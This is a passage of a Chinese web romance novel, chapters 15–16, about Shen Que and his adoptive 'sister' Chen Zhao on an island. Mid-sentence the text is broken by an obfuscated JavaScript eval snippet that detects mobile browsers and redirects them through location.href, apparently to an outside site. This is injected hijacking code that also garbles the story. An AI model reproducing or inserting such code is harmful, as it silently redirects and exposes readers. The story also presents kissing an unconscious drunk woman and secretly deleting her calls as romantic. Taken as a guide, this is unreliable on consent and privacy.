然而他的回忆却被车座上陈昭手机亮起的画面打断。 低头看去,发现是他“姐夫”的来电。 沈确脸色沉下,目光看向正在和于思存说话的陈昭,面无表情地挂断了孟均的电话。 他持之以恒地打了三次过来,次次都被沈确摁断。 直到手机灯光熄灭,再无响声的时候,他才尝试地用那个熟记于心的密码尝试解开她的手机锁。 果不其然,打开了。 不过他只是默默删除了那三通来电记录,便将手机放回了原位。 对于孟均,他了解甚少。 不是因为不去了解,而是因为孟均这个人神秘得很,除了知道他是孟家的独生子以外,其他一些私生活,都与大众远离。 当初沈确千方百计去打听,得到的消息,不过是孟均优秀的履历,和完美的家庭背景。 和陈昭门当户对,没有给他任何钻入的裂口。 他做出最违背初心,恐怕也是姑姑最失望的事,就是在陈昭和孟均的婚礼上,试图带走陈昭,因为他虽然知道陈昭的人生计划里没有自己,但也肯定她对孟均没有感情。 为了利益而联姻,以后会委屈她。 沈确在那个时候是这么想的,所以不计后果,想带走她。 可是酒店长廊外,她无声的抗拒让沈确知道自己输了。 甚至这不成熟的举止,惹怒了陈昭,也让自己无地自容。 以至于后来的五年,他不敢主动联系,也未曾去过明港。 但其实沈确现在有个很大的问题困扰他,为什么陈昭会选择来这里?一住就住了这么久? 他心里隐隐期待一个答案,可是一旦想出来,又觉得十有八/九是奢想。 这种抓心挠肝的感觉,每晚都像有数不清的蚂蚁在骨头上钻。 他是个感恩的人,可是现在,他却不想在陈昭面前做个完美的感恩人。 他瞥向车挂坠,看了一眼夹层中他和陈昭的那张合影,心里滋养的某些情绪在不断地放大。 就在这时,叽叽喳喳的女人声音逐渐消失了。 沈确顺势看去,见到陈昭和于思存两人都躺在了地上,那瓶酒已经见了底。 他眉头一皱,把于思存拽到车后座,又俯身将陈昭横抱在怀。 将其轻手轻脚地放在副驾驶上,贴心地为她系好安全带。 近在咫尺间,陈昭朦胧着视线睁开眼,沈确清楚地感觉到她的呼吸声扫在鼻翼,带着酒香,侵入他的皮肤。 心底无名的亢奋忽然涌来,她长长的眼睫,像蝴蝶的翅膀一样。 沈确很清楚此时的陈昭可能喝断片了,不然不可能纵容自己靠她那么近,更不会以这种近乎怜爱的目光凝视着自己。 就好像……她以前每次心疼自己的时候,都会露出这样的眼神。 她的唇瓣被酒水浸湿,饱满又有光泽,好像绽放的玫瑰花瓣,忍不住让人多看两眼。 夜起的海风把她的头发吹散,两根发丝来回在他的脸上撩动,连带着他呼吸都变急促。 他撑在车座上的手,倏然收紧,脑海里响起了当初在学校里,室友阿承问过的话。 他在对铺上晃动着双腿问沈确一整个寝室的人:“你们有没有亲过女孩?你们说亲女孩那是种什么样的感觉啊?” 他和其他人一样,都耳根晕红地陷入幻想里,唯独沈确是陷入了回忆中。 亲女孩,可能和剥完荔枝,送入口中尝到的那触感相似。 饱满又柔润的果肉,带着水渍和甜味在唇齿晕开。 但又与这有点不一样,亲女孩,还带着一种瘾,会暂时让大脑兴奋到缺氧,有时甚至会得意忘形到已然看不清自己。 就如现在,陈昭迷茫地看了他两眼后又闭上眼睛,和后座的于思存一样睡了过去。 沈确就像尝荔枝那般,触到了她饱满又柔软的唇瓣上。 右手轻抬她的下巴,勾住她的下唇,埋入自己的唇瓣。 他转向另一侧,撑在车座的双手青筋凸起,忍着心内澎湃的情绪,勾缠唇齿,直到感受到她呼吸的苦难,沈确才放开她。 暗夜里的那双眼睛,就像匍匐在草丛的野兽,盯着猎物的眼神大抵如此。 沈确长吸一口气,敛目看着通红的嘴,想起第一次偷亲,同样如此。 不过远远不敢像现在这样放肆,那时的他只敢小心翼翼地轻碰一下,心跳就已经要跳出胸腔。 陈昭当时应酬回来,醉倒在沙发上。 沈确没能抗住心里这“龌龊”的想法,碰了她的唇角,但后来经过深刻反省,知道自己的不对,也深深忏悔了。 可现在,他好像已经放任自己做一个没道德的人。 甚至一个阴暗的人。 那又如何呢? 感情之中,为何会有后来者居上,那是因为后来者又争又抢。 不争不抢,什么都不会得到! 就像十三岁的他,早在阿嫲嘴里听到过,姑姑有意要带个孩子去明港。 除了库尔马西以外,还有另外两个和马西一样的孤儿。 十三岁的库尔马西,已经知道去姑姑面前表现自己,去帮助身体不适的陈昭,让他们记住自己,带走自己。 这才有了后来的沈确。 他尝试做个感恩的人,也尝试彻底放弃这里,让自己和陈昭回到原来的关系。 可到头来呢,他什么都得不到,甚至一个见面的机会都是那么难得。 所以,这次争抢一次又如何? 15. 015. 沈确盯着她水润又殷红的双唇,目光彻底沉下。 一如钻入深海之中,周围都失了声。 他掐住陈昭的下巴。 因为知道她醉到没了意识,索性报复性地含住她下唇,几近失控的要彻底掠夺她的呼吸。 可他仅有的那点理智,还是将他强制拉回现实。 沈确手指骨节狠狠抵在车座上,别开视线后赫然离开她身边,把车门一关,迎向海风任由自己在风中凌乱。 滚烫的嘴巴,像被开水灼烧过一般。 他抹了一把脸,清醒地坐到主驾位上,把两人送回了小楼。 次日一早。 陈昭是被敲门声惊醒的。 她惺忪睡眼,脑袋沉重地坐起来,套上外套磨蹭了一会才去开门。 本以为外面的人应该走了,没想到刚开门就看见一个人四眼无神地趴在阁楼的长凳上。 见陈昭开了门,于思存马上坐起来。 素面朝天的她看着有些憔悴,但眼神却没昨天所见那般凌厉。 整个人都软和了不少,五官圆润的她素颜看起来很幼态,舌钉,白毛,在她这张白净的脸上显得格格不入。 但……也挺有意思的。 她给陈昭递了一杯牛奶,有些拘谨地开口。 “不好意思啊,昨晚是你和沈确送我回来的,麻烦了。” “昨天可能心情不好,喝得有点多。” 她扯动嘴角,陈昭不以为然地接过牛奶道:“你没事就好,不过你还记得昨天是我和沈确送你回来的?没喝断片吗?” 于思存忽然想到什么,摇了摇头道:“断片了,我喝断片了。是我舅妈告诉我的。” 陈昭还在回想,却被她打断:“那……我先走了,你继续睡。” 不等陈昭开口,她已经往楼梯那走去。 然而这时楼下院子忽然传来了隔壁徐嫂的声音,于思存一听,立刻收回脚步。 在她看来,徐嫂很不对付她,每次来舅妈家借住,徐嫂都不会有好脸色。 “张姐!昨晚你外甥女没事吧?” 徐嫂还拿着一些零嘴过来,有些担心地说道:“昨晚我看你们家熄灯了,我想着应该没什么大事。这不过来问问看,她现在还在社区医院吗?” 房东阿姨张姐放下拖把回道:“没事,昨天是小沈送她回来的,就是喝多了点。” 听到这话,徐嫂这才松了一口气,但又忍不住地吐槽起来。 “那孩子你得费点心思才行,年纪轻轻的酗酒,万一真出什么事怎么办?哎呦昨晚真是吓死我了,你说如果真有什么事,我……我这心里也过意不去啊,我还去骂她,你说……” 张姐讪讪一笑,正在这时,徐嫂无意间看到了阁楼上的于思存和陈昭。 她稍显尴尬地眨了眨眼,正要走,忽然想起什么,问了陈昭一句。 “那……陈小姐,我家这会在做贝饼和香蕉猪肉饼,你还没吃过吧?要不要过来看看?” 陈昭还真没听说过这些东西。 见徐嫂看着于思存欲言又止的模样,陈昭明白她的意思,干脆带着于思存一起过去。 “一起啊?” 于思存下意识摇头,但已经被陈昭带下了楼。 她……其实也不是排斥,就是觉得有点尴尬罢了。 刚好张姐也趁机开口:“思存,你和昭昭姐过去看看,帮个忙也好。我等会煮点蜂蜜水过来,给你醒醒酒。” 院子里各种工具都放在桌子上,陈昭有些好奇地被带到旁边。 于思存也是岛民出生,这些都是他们西沉岛的特色小吃,老一辈的人从小吃到大的。 所以她做起来也得心应手。 所谓的贝饼,就是混合了各种新鲜贝类,再和着面粉一块烙,味道非常鲜美酥脆。 而香蕉猪肉饼,则是西沉岛上最具特色的。 临近年关,家家户户也要开启了杀年猪活动。 西沉岛的传统岛民,都习惯性地把小猪仔先放养,而猪仔们从小到大都是主吃岛上产的香蕉,所以也叫香蕉猪。 半散养的猪,猪肉非常细嫩,也毫无腥味,口感很独特,尤其是刚宰杀过后,第一时间就用新鲜的肉做饼,亦或者切下新鲜肉放到铁网上烤。 哪怕不蘸任何调料,吃着都十分香甜。 徐嫂的丈夫和村里其他几个壮汉在院子旁杀年猪,他们则在一旁做饼吃肉,陈昭第一次体验这种,觉得又是新奇又趣味。 不知不觉就吃撑了。 豆豆带着其他两个小孩笑嘻嘻地跑进院子,结果三小孩一看到于思存,豆豆便尖叫了一声! “啊!怪阿姨在这!快跑!” 说完便转身往院子外疯跑而去。 于思存一脸淡定地耸了耸肩,不过豆豆她们还没跑两步,就看到沈确正往这走。 她马上拦下沈确告诉她:“小沈哥哥你别去我家!怪阿姨还在呢,她会吃了你的!” 沈确忍俊不禁,从兜里掏出几个小面包打发了这群叽叽喳喳的小朋友。 随后才去了徐嫂的院子。 一眼就看到正在吃肉的陈昭。 她还穿着徐嫂递给她的绿色围裙,头发扎在脑后,手忙脚乱的在油锅旁站着。 有种,和这里意外和谐的美。 沈确收拢笑容,徐嫂见他过来,热情不已地招呼:“小沈?这个时候你怎么过来了?” 陈昭眉眼微动,于思存也下意识地看了她一眼,随后佯装镇定的去一旁烙饼。 只见沈确把一个袋子递到徐嫂面前:“刚下班,来给豆豆送个鲸鱼模型。” 徐嫂连忙招呼他去那吃饼:“还麻烦你过来跑一趟,你快吃点猪肉饼,热乎着呢,你章哥刚宰的猪,味道特别好。” “你看,你姐也在,她还学会做这猪肉饼了,要不让她给你现做一个尝尝看。” 陈昭顺势接过徐嫂的话,当场给沈确表演了一个揉饼炸饼的技能。 不过她手法有些笨拙,在揉饼环节,满满一勺猪肉放到面团上,却不像于思存她们那样能全部包起来。 包了这边,那边又有些露馅。 她本想着给他做整点馅,却没想到翻车来的那么快。 略显尴尬地把馅倒了一些,可一眨眼的功夫,沈确已经洗手走到她身边,大手直接抓住她的手,手把手的亲自帮她把馅怎么全面包住。 两人紧密接触的手,像过电一般,让她顿感到一片酥麻之意。 但陈昭最擅长的事,就是伪装。 饶是内心如何不淡定,如何澎湃涌动,脸上总能平静如水,自然到谁都看不出破绽来。 沈确带着她包完后,她还能镇定自若的给了他夸赞。 “手法不错,不愧是在这呆了几年的人。” 沈确轻笑着放开她,掌心却还留着她手腕的温度,余光还跟着她的脸走,但不得不说,在某些方面,陈昭还是要厉害很多。 看这样子,她是真的下定决心,只把自己当成以前那般的家人来看待。 饶是如此亲近,她也能无动于衷,毫无反应。 反倒是沈确的道心,先不稳了。 双手触碰的那瞬间,他不禁想起当年陈昭教他潜水的时候。 带他去了明港的一处私人海滩,坐着小游艇前往那座孤岛上的珊瑚海,他第一次潜入海底。 第一次看到了五彩斑斓的海鱼,成群结队的在自己身边围绕。 十七岁的沈确,又害怕又雀跃,一点也不敢离开陈昭的身边。 看到漂亮的大鱼,他也不敢伸手去摸,担心给两人带来危险。 甚至还看到了好几条石斑鱼紧贴在身边游来游去,有的还撞上了他的护目镜。 沈确以为是被攻击,示意陈昭就想离开,但陈昭却握住他的手,亲自带着他去摸石斑鱼的鱼鳍。 很快其他的石斑鱼一拥而上,好像都在求他的摸摸一样。 陈昭以为他发热的手,是因为第一次与鱼儿近距离接触,用手势鼓励他不要害怕,然而却不知道,沈确是因为她的触摸而心跳加速。 从帕米尔高原被带回的小马西,去明港之前从来没见过世界上还有比格勒湖泊更大,更深的地方。 他第一次看见大海,就是姑姑和陈昭带着她从苏拉港口做游轮出发,在明港外的沙海游览。 后来住进了陈昭的房子后,经常会看到她收集的那些关于大海的记录碟,还有书籍。 尤其是她每一次出海观鲸时,拍下的那些关于大海的照片集。 都被她收在影音室的抽屉里。 因此,沈确知道了她很喜欢鲸鱼,很喜欢海洋,虽然她的家冷到像样板间,可她的那个影音室里,收藏了从世界各地买来的鲸鱼小模型。 有些是陶土纪念品,也有些是雕刻的模型,也有些是塑料的,各种各样,可可爱爱的鲸鱼。 但这些都是陈昭的秘密,不轻易对人说,也不会让人发现的小秘密。 因为自己的闯入而发现了这些秘密,进而他也开始喜欢,好像跟随她的脚步,就能离她更近一点。 只可惜,以前的他还是想的过于简单了。 陈昭可能是他人生最难攻破的题,看似平静温和的脸下,总有一片巨浪涌动的风暴眼。 暗河之境,一不小心就会令他陷入绝地。 可是沈确还是想试试。 整整七年,依旧磨灭不去她的影子,也无法让自己彻底放下。 这次是她先来这的。 换个角度来说,陈昭也是影响他最深的人,很多时候他的处事态度,其实都有陈昭的影子。 沈确知道。 所以陈昭的伪装,淡定,他也能学个七八分。 为此,一摊猪肉饼煎下来,即便两人有过亲密举止,可过于自然的态度,任谁看了都不会多想。 只会觉得不过是姐弟两人再正常不过的举止。 除了……看到昨晚那一切的于思存。 吃了个猪肉饼后沈确便先走了,下午还要工作,并未停留。 徐嫂这会刚好在屋里发信息,本想着沈确正好来了,就和他商量一下相亲的事,结果等她出去,人就已经不见了。 她相当遗憾地走到陈昭身边,说道。 “昭昭,你弟弟就走了啊?” “话说,我能跟你打听点事吗?” 陈昭看她小心翼翼地样子,不知道是什么事,笑着点点头。 见她同意了之后,徐嫂才好奇地问道:“这几年小沈一直在岛上工作,很少回家,你姑姑他们也同意吗?” “还有啊,我看小沈人又帅又有能力,也到了该成家的年纪,咱们岛上不少人给他介绍过女孩子呢,但小沈都打哈哈搪塞过去了。蔡奇他们说小沈也没有女朋友,他……是喜欢女孩吧?” 陈昭忍俊不禁,其他的她不好说,但就性取向这一点,她还是很肯定的。 “是喜欢女孩的。” 徐嫂笑了笑,这才放下自己那颗心:“那就好,那就好。刚好你是她的姐姐嘛,给你看个女孩,你看看她和小沈配吗?” 说着徐嫂就开开心心地掏出手机,将一张女孩的照片递到陈昭面前。 还不断说:“这女孩是聆海市一中的英语老师,年纪可能比小沈小那么一两岁,家里条件也好,父母都是街道办的公职人员,长得也漂亮!” “我刚刚就是和这女孩的姨妈聊天,想着给小沈先看看照片,没想到他走了。昭昭,你觉得怎么样?你姑姑想要什么样的儿媳妇啊?” 徐嫂热情不已地介绍,陈昭看了一眼那女孩,的确是很漂亮。 不过……他喜不喜欢,还是得由他自己评判。 正想着要如何对徐嫂说时,一旁的于思存忽然过来给徐嫂“泼冷水”。 “别问了,这肯定不是沈确喜欢的!” 徐嫂一听,不解地看过去:“你和沈确很熟吗?你怎么知道他不喜欢。” 于思存煞有其事地表示:“蔡奇说过,沈确他喜欢有钱的,身材火辣的,有个性的!” 这可把徐嫂给气笑了:“你以为小沈是你身边混的那些朋友呢?人家小沈那么规矩懂事,又开朗又体贴,怎么……” “哪个男人不喜欢火辣的女人?他再怎么样,也不妨碍他喜欢这种。还有啊,他还特别喜欢能喝酒的!” 于思存眯了眯眼,非常肯定地对着那张照片说No:“所以徐嫂你就别费心思了。” 这会她和陈昭反正也吃饱了,索性带着陈昭回小楼。 两人刚出门,就看到前面那堆珊瑚土墙后面,小心翼翼地伸出几个小脑袋瓜来。 于思存又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783868|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故意伸出舌头,嗷呜了一声,顿时把那三个脑袋瓜吓的连滚带爬地跑出去。 边跑还边喊:“怪阿姨又要吃人了!!!” 里面就属豆豆喊得最大声。 对此,于思存毫不放在心上,反正她也不招小朋友喜欢,不,应该说她不招这村里所有人的喜欢。 她也没做什么过分的事,就因为染个头发就被人叽叽歪歪的。 想到这,她忽然看向陈昭,问她:“你身边也有很多像我……这样的么?” 陈昭一顿,笑了笑反问:“你哪样的?” “就是……奇装异服啊,还有看起来叛逆又凶,别人看见我要么就是嫌弃,要么就是敬而远之,可从我第一眼见到你,你可是一点波澜都不起。” 陈昭还以为是什么事了,指着她的头发,肯定道。 “我只觉得你很酷,在你这个年纪的时候,我还有一个红发梦,不过因为种种原因没办法那样做。” 于思存一听,似乎明白她的难处:“一定是家里反对吧?现在你反正都出来了!既然想染,那就染啊!我有工具,我还是染发老手,想不想我帮你?” “哈?”陈昭显然没想到,一句话的事,她就被带去于思存的房间,将来成为豆豆口中的红毛妖怪。 这对陈昭来说,是个奇怪的体验。 就像做猪肉饼一样。 当一个下午过去后,看着镜子里这头深红色的头发,陈昭原本白皙的肌肤变得更加雪白。 于思存被惊艳到,已经忍不住开始欣赏她自己的杰作。 “太棒了!太好看了!昭昭,你真的很适合红色!天生的火辣御姐,天生的顶级妈感,绝了!” “妈感?”在这一刻,陈昭与她产生了年纪上的代沟,“很显年龄吗?” 于思存连忙摇头,专注地和她解释,她口中所谓的顶级妈感,是一种怎样的感觉。 总的来说,就是染的很成功。 陈昭自我欣赏也还不错,别样的体验,而且这个红色也没有想象中的那么张扬。 一番感谢后,于思存忽然邀请她。 “晚上想不想去看我的驻场演唱?就在珊瑚路的那个酒吧,我的第一场。” 陈昭一问,才知道于思存打算在岛上呆一段时间了。 就像她昨晚吐槽的,被雪藏,被针对,她在外面稍有点名气的酒吧驻唱都会被砸场子。 吃饭都困难,无奈只好先在岛上休息一段时间。 至少过了这段风头再说。 她语重心长的告诉陈昭:“我这圈子也挺乱,我干不过人家,也不想闹到每天吃饭都吃不了,先回这等等看吧。” 陈昭看她还年轻,未来肯定还有不少机会。 从小陈昭就坚信一句话,事在人为。 老太太在她很小的时候就告诉她,要想事情得到自己想要的结果,那就得自己全权掌握那条路的规则,继而才能走下去。 但凡中途的荆棘困难,咬着牙都要克服,人的潜力是无限的。 - 于思存要带她去的酒吧是在珊瑚路最里面的那家店。 之前陈昭和康老师有路过这,但没有进去过,那天是看到有几个年轻人出入。 今天进去后,陈昭才发现,原来这个不起眼的小门里,内有乾坤。 里面非常大,并不是嗨吧,更多的还是emo人群的集聚地。 里面也不仅限于一些年轻人,还有很多上了年纪的阿公阿婆们也喜欢来这。 陈昭本以为这还挺别致,可能与外面的传统酒吧不一样。 后来才知道,那些阿公阿婆来这,纯粹就是为了捡饮料瓶子。 于思存给她找了个位置坐下,本来就点酒,陈昭看到有咖啡饮料,便换成了这个。 她本以为服务员会不太满意,甚至给小费的心思都升起了。 但服务员却毫无她担心的那样,反而因为她是于思存带来的朋友,赠送了一碟甜点。 轮到于思存上台的时候,音乐的氛围热闹了不少。 在来的路上,于思存告诉她,平时都是唱rap,或者摇滚比较多。 但目前的现状,只能换风格。 陈昭听着这亢奋的音乐,寻思也没换多少啊。 就在这时,手机忽然接连收到了好几条信息。 叮咚叮咚个没完没了,陈昭想不注意都难。 她拿过手机打开一看,发现是沈确给她发的一些图片。 有在甲板上的风景,也有布氏鲸露出水面的照片,还有很多海鸥盘旋的画面。 构图不讲究,画面也挺乱,好像只是先想告诉她,他出海看到鲸鱼了。 像曾经他总喜欢对自己报备一样。 哪怕是吃了个新样式的叉烧包,也会拍个照片发给陈昭,即便很多时候陈昭都没有及时看到。 陈昭看着还有照片源源不断的发来,嘴角忍不住上扬几分。 正在编辑栏输入回信时,手机上又忽然收到另一个人发来的信息。 【陈昭,如果方便的话回个电话,有事想和你说。】 是孟均。 看到这个名字,陈昭脸上的笑容逐渐收敛下来。 就好像……这些日子的美好让她逐渐忘却了某些不想记起的事,但孟均的一个名字,又恍然将她拉回了明港。 环境嘈杂,的确不方便打电话。 于是陈昭便回了他一条信息。 【目前有点不方便,若是急事,微信上说一样。】 这条信息刚发过去,她就看到孟均的名字上已经显示正在输入的状态了。 看来,的确是有点急事。 耐心等了一会后,很快对方的信息发了过来。 【上次给你打电话你拒接,我也明白你的意思,但这次考虑到孟太的身体情况,还是想和你说,孟太生日,她很想见见你,刚好也要过年了,你应该会回明港吧?如果可以的话,希望你能顺道看看她。】 孟太是孟均的奶奶,也是老太太曾经的密友。 她与孟均结婚,很大程度都是因为两位老太太的撮合。 只是…… 正想着给他回复,沈确的电话忽然打过来。 陈昭眉眼微动,刚接起,那边就传来他低沉的嗓音,似是有些不满。 “你在哪?” 16. 016. 或许陈昭永远不会知道,最折磨沈确的,就是她不回自己的信息。 以前是因为陈昭太忙,也不会马上看到自己的信息,但每一次她都不会忘记回复。 然而那一晚过后,她就彻彻底底的无视了他的信息。 无论第二天沈确发了多少信息过去,不管是恳求原谅,还是忏悔,亦或者要挟,哪怕崩塌当时他在陈昭心中的形象,他也只想恳求陈昭回信。 可什么都没有。 在陈昭消失无音了好几天的某个瞬间,沈确尝试过联系她的朋友,也尝试过出门去找她。 可走到玄关处,他又很快地反应过来,在明港这座偌大的都市里,陈昭是他与这座城市建立的唯一纽带。 她存在于自己的所有生活中,可一旦她不见,他则对其一无所知。 她的圈子,她的人脉,自己从未踏足过。 沈确能时时刻刻闻到家里有她的味道,可又无从去找她,那种窒息感,让他坐立难安,无计可施。 他除了焦灼地在家等她,毫无办法。 因为陈昭无视他的信息,等于决然地划清两人的关系。 倍感煎熬的感觉,让沈确对此产生了一些应激反应。 即便明明就来到了酒馆里,看到了红发的陈昭,也知道她在看手机,一定见到了自己发过去的信息。 可偏偏,她却选择不回复。 所以沈确靠着心中的本能,直接给她打了电话。 陈昭深吸一口气,调整好情绪回复他:“你下班了?” 话音刚落,沈确的声音从头顶而落,很快他便将手机放在台面上,凝视着陈昭,余光恰好瞥到了她正打算回复孟均的对话框上。 他沉下目光,看似一脸镇定的坐下来。 陈昭不动声色地拿起手机,快速回复了孟均一声后,关闭屏幕将手机放到了衣兜里。 然后就是日常的询问:“你知道我在这还打电话?” 沈确没说话,反倒是扫码点了一打清酒。 陈昭眉眼微动,想再次开口,已经唱完好几首歌的于思存满脸兴奋的拉着另外两个人围坐过来。 “昭姐,这是酒吧的老板,叫凌哥,还有这位是吉他手,阿茂。” 他们都认识沈确,也不知道从哪里听说,陈昭就是沈确的姐姐,纷纷端起酒杯和陈昭敬酒。 “昭姐,你好你好,既然是小沈的姐姐,四舍五入就是咱们的姐姐!” 说完又让服务员拿了不少酒过来:“姐姐也别跟我客气,今天你随便喝。” 不仅如此,他还拿来了骰子过来,闹哄着要玩点游戏。 陈昭从没有玩过,见沈确没拒绝,而思存又热情难却,半推半就的答应下来。 一旁的于思存告诉她怎么玩,过程是不难,但就是需要一点运气。 谁来指定叫点数开骰,没到指定人说的数字倍数的,那人就得输。 至于惩罚,无非就是喝酒。 偏偏沈确就针对了陈昭,几盘下来,他气定神闲地支着椅子往后靠,只要轮到他,毫无疑问,就要开陈昭。 阿茂他们忍不住调侃起来:“小沈啊,你这是要把咱们姐姐往死里整啊!!难怪是真姐弟,你是一点也不心疼姐姐喝酒啊。” 于思存几盘看来下,心里莫名的发怵。 感觉到沈确的不对劲后,小声杵了他一下:“你哪能这么欺负昭姐呢?” 沈确淡然道:“你确定我这是在欺负她?我也输了很多次,多cue她,是让她能尽快适应这游戏。” 这话都把陈昭逗笑了。 他真的是想让自己适应这游戏吗?怕不是在为他自己喝酒而找借口。 因为从头到尾,他也只让陈昭喝了不到五杯酒,每次cue她,输的人总是他。 几个回合下来,沈确的脸色泛红了。 陈昭也觉得是时候结束这场小闹剧。 主动拦下了他的酒杯:“时间不早了,回家休息。” 于思存见状,马上把已经喝到醉醺醺的阿茂拉到一旁,配合着陈昭结束这场酒局。 陈昭扶着沈确出了酒馆,于思存后来跟上。 想到刚刚沈确的样子,陈昭的嘴角情不自禁地上扬几分。 然而这时于思存上前,正要找借口离开时,三人忽然听到隔壁巷子里传来歌声。 对声音极其敏锐的于思存马上摸过去,乌漆嘛黑的巷子里只有一个人影。 男人正在唱一首很多年前的老歌,配合着断断续续不着调的吉他声,让陈昭忽然想起了姑姑。 这首歌,也是姑姑很喜欢的一名歌手唱的。 以前总能看到姑姑买他的唱片,每天早上留声机里都放着他的歌曲。 虽然吉他声音不着调,但男人唱得却热血十足,激情澎湃,音色唱腔都很好。 就连于思存都觉得此人是个内行人。 于是她冷不丁地走过去,打开了手机照明的手电筒。 瞬间巷子里面亮如白昼。 而正在抱着烂吉他沉浸高歌的男人,被陡然而来的光亮照耀,顿时愣在原地! 众人一看,竟然是蔡奇的爸爸,蔡建国。 此时他背后还拉着一箱子的货,忽然被撞见尬歌现场,蔡建国的脸倏然变红,尴尬又窘迫地放下吉他讪讪一笑。 “小沈?” 说着又略显忙碌地指指吉他,笑道:“我刚刚捡到的,几根线烂了,但也能弹。” 见他们没说完,他又搓了搓手,化被动如主动。 “我唱的还行吧?” 话还没说完,于思存陡然拍起双手,非常捧场地给他竖起一个大拇指。 丝毫不吝啬自己的夸赞:“蔡叔,你唱的真可以!!一点都不骗你!” “老行家了啊,不知道的还以为你专业歌手出身。” 这话都是于思存打心里说出的,见她这么捧场,足以证明蔡叔是真的唱得好。 关键他看着那么老实巴交的人,竟然还会唱摇滚,这反差感,直接让于思存找到了新大陆。 她迫不及待地拿过那个吉他,兴致连连地问:“蔡叔,真看不出来你还会吉他,有没有兴趣一起来一首?” 说完也不给蔡叔开口的机会,她抱起吉他便开始激烈地弹唱。 蔡叔一愣,看到陈昭有节奏地当起听众,于思存也抱着吉他激情开唱。 “红红青春敲呀敲,自己的歌唱呀唱,爱要爱得简单,过要过得精彩,我的心从来没有休止点。” 见她已经用眼神示意过来,流淌在蔡叔心里的那些雀跃的细胞因子,在这一刻仿佛受到多重召唤,粗犷又沙哑的声音和着于思存一起唱起。 “红红青春敲呀敲,自己的歌唱呀唱,梦要梦得遥远,冲要冲过考验 年轻不能平凡……” 他抄过一旁的扫把,像贝斯手一般声情并茂地大声唱出。 两人的歌声一起冲破这黑暗的小巷。 陈昭莫名觉得燃,就好像那天清晨,她看到了芬姐在昏暗的灯光下翩翩起舞。 那一刻,她不禁湿润了眼眶,似乎感到了在某个节点里,即便不熟悉的人,也有着同频的热情。 忍不住跟着他们的节奏也唱了出来。 沈确拍着双手,盯着她的背影勾起嘴角。 说实话,他好像从没有见过这样的陈昭。 更具体地去说,在西沉岛的陈昭和在明港的她很不一样。 就像一个人的两块面具,一块冷静,一块鲜活。 然而他们一首“摇滚”梦的时间还没到,头顶忽然传来邻居的怒骂! “你们谁啊?都疯了吧!!大半夜的嚎什么嚎!还让不让人睡觉了啊?” 说完一个两个洗脸盆从楼上丢了下来。 紧接着木楼梯又发出一阵急促的脚步声,伴随着一个男人的怒喊声:“你们都别走,我看看到底是哪几个疯子在大晚上发癫!” 他们一顿,预感不妙,蔡叔更知道这男人不好惹,赶紧低声喊:“快跑!” 话音一落,陈昭还没反应,人就被沈确拉着腕骨,疯狂往前方道路跑了出去! 于思存和蔡叔两人一人拿着他的“贝斯扫把”,一人拿着她的烂吉他,身后还跟着一个身材高大的男人追杀。 “站住!你们都给我站住!!” 大半夜的,他们一路从巷子跑到珊瑚路,又从珊瑚路跑到了海岸公路。 没想到那人是穷追不舍,毫无停下的意思。 最后还是陈昭实在跑不动了,正要喘气停下时,蔡叔催促沈确:“这边这边!先躲这里!” 说完便像条泥鳅一样钻进了两个楼房中间的狭窄区域。 而陈昭也被沈确带了进去。 乌黑的小路也只能有一个人通过,而他们两人在慌乱之下,面对面的一起挤了进去。 等缓过神后,才赫然发现想挪动已经有些困难。 但凡谁动一下,对方也要被迫跟着紧贴着身子而动。 这就导致,陈昭难得混乱的心跳声,如数被沈确听到。 尤其是在这种静谧的黑暗中,所有情绪都被放大的情况下。 陈昭唯一值得庆幸的是这里足够黑,即便两人被迫贴在一起,也看不到彼此的神情。 所以她有足够的时间调整情绪,努力让自己恢复平静。 可她没想到这时的沈确忽然低头,脑袋直接靠在她的肩膀上。 他呼吸的热气轻轻喷洒在她的耳后的脖颈上,带着几分痒意,恍若小鸟的羽毛不断的扫过。 这种感觉就像极了赵写茹养的那只小鹦鹉,落在自己肩膀上时,总会用尾羽来回扫她的脖子。 赵写茹说,这是它在撒娇求摸摸的模样。 陈昭轻动唇角,压下心里的涌动,正要开口,沈确忽然示弱。 “你不会介意的对吗?” “昭姐。” 他沙哑的声音轻轻在耳廓响起,陈昭觉得他是故意的,但又拿不出证据来。 而且他还叹气:“实在有点累了,刚才喝的也不少,等会我如果走不动的话,还得麻烦你送我回去……” “不过,你送我回去你不太安全,或许我可以借你的沙发用一用。你会介意吗?” 不等陈昭回话,他又轻笑着自说自答:“你不会介意的,毕竟我已经答应你要回到最开始的关系。我是库尔马西啊,所以你不会介意。” 陈昭一顿,还真是……什么话都让他说了,她能说什么? 只能压住心里莫名起来的情绪,波澜不惊的让自己心跳回归正常。 可是沈确滚烫的额头抵在她的肩膀上,实在让她无法平下心来。 她不知道此时的沈确在想什么,反正她自己是一遍又一遍的在心里提醒。 不要忘记自己说过的话,不要越界,更不要……让自己心内的那份叛逆与邪恶主导思想。 直到蔡叔的声音在前方小声传来:“那人应该走了,咱们出去吧。” 沈确这才重新直起身子。 他的鼻腔里还满满存在着陈昭身上熟悉的香气。 他留恋地看了她一眼,忽然不动声色地搂住她的腰身,以极快的速度带她挪出小缝。 而这突如其来的靠近,令陈昭的胸部有些微微发疼。 抵在他结实的胸膛上,也不知道是扯到了伤口,还是自己的错觉,那瞬间的刺痛来得快也去得快。 然而这瞬间情不自禁的闷哼声,却让沈确顿愣了一下。 他目光往下,仿佛意识到什么,唇角微微上扬,在挪出小缝后,马上松开了她。 不等他开口,陈昭已经调整好神情,看向于思存说道:“思存,我们先送他回去,他喝了不少。” 于思存一愣,讪笑着同意。 说完又看了一眼蔡叔。 蔡叔不明所以,但此刻他已经把这几个年轻人当成知己,当即仗义地把沈确往怀中一带。 “哪有女孩送男孩的道理,我找蔡奇过来送你们回去,我送他回研究院。” 说完便掏出手机给蔡奇打了通电话。 与此同时,沈确看到陈昭还在回复信息,眸色下沉的在她背后忽然问道。 “你要回去?什么时候?明天?” 之前在酒馆里他还是看到了孟均后面发来的信息。 